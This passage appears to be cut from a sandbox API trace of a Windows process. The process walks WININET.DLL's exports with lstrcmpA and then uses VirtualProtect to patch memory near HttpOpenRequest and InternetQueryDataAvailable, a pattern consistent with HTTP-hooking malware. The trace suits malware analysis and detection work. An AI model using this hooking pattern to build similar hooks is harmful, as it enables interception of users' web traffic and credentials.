lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetQueryDataAvailable") returned -1 [0082.372] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetQueryDataAvailable") returned -1 [0082.373] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0082.374] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetDial", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetDialA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetDialW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetQueryDataAvailable") returned -1 [0082.375] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetQueryDataAvailable") returned 0 [0082.376] VirtualProtect (in: lpAddress=0x768e2a80, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.376] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.376] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.376] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.376] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.376] VirtualProtect (in: lpAddress=0x7699861e, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.376] VirtualProtect (in: lpAddress=0x7699861e, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.377] VirtualProtect (in: lpAddress=0x768e2a80, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.377] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.377] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.377] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274eaa0 [0082.377] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpOpenRequestW") returned -1 [0082.377] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="DllInstall", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpGetFileA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpGetFileEx", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpGetFileSize", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpGetFileW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpOpenFileA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpOpenFileW", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpPutFileA", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpPutFileEx", lpString2="HttpOpenRequestW") returned -1 [0082.378] lstrcmpA (lpString1="FtpPutFileW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="FtpRenameFileA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="FtpRenameFileW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherOpenFileA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="GopherOpenFileW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpEndRequestA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpEndRequestW", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="HttpOpenRequestW") returned -1 [0082.379] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="HttpOpenRequestW") returned 0 [0082.379] VirtualProtect (in: lpAddress=0x768e2974, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x20) returned 1 [0082.380] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0082.380] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274f4a8 [0082.380] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0082.380] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f4a8 | out: hHeap=0x2350000) returned 1 [0082.380] VirtualProtect (in: lpAddress=0x76998623, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x20) returned 1 [0082.380] VirtualProtect (in: lpAddress=0x76998623, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd30 | out: lpflOldProtect=0x37fd30*=0x40) returned 1 [0082.380] VirtualProtect (in: lpAddress=0x768e2974, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fcfc | out: lpflOldProtect=0x37fcfc*=0x40) returned 1 [0082.381] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcc8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcc8, ReturnLength=0x0) returned 0x0 [0082.381] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0082.381] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ead8 [0082.381] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DispatchAPICall", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="DllInstall", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="HttpOpenRequestA") returned -1 [0082.381] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="ForceNexusLookup", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpCommandA", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpCommandW", lpString2="HttpOpenRequestA") returned -1 [0082.382] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="HttpOpenRequestA") returned -1 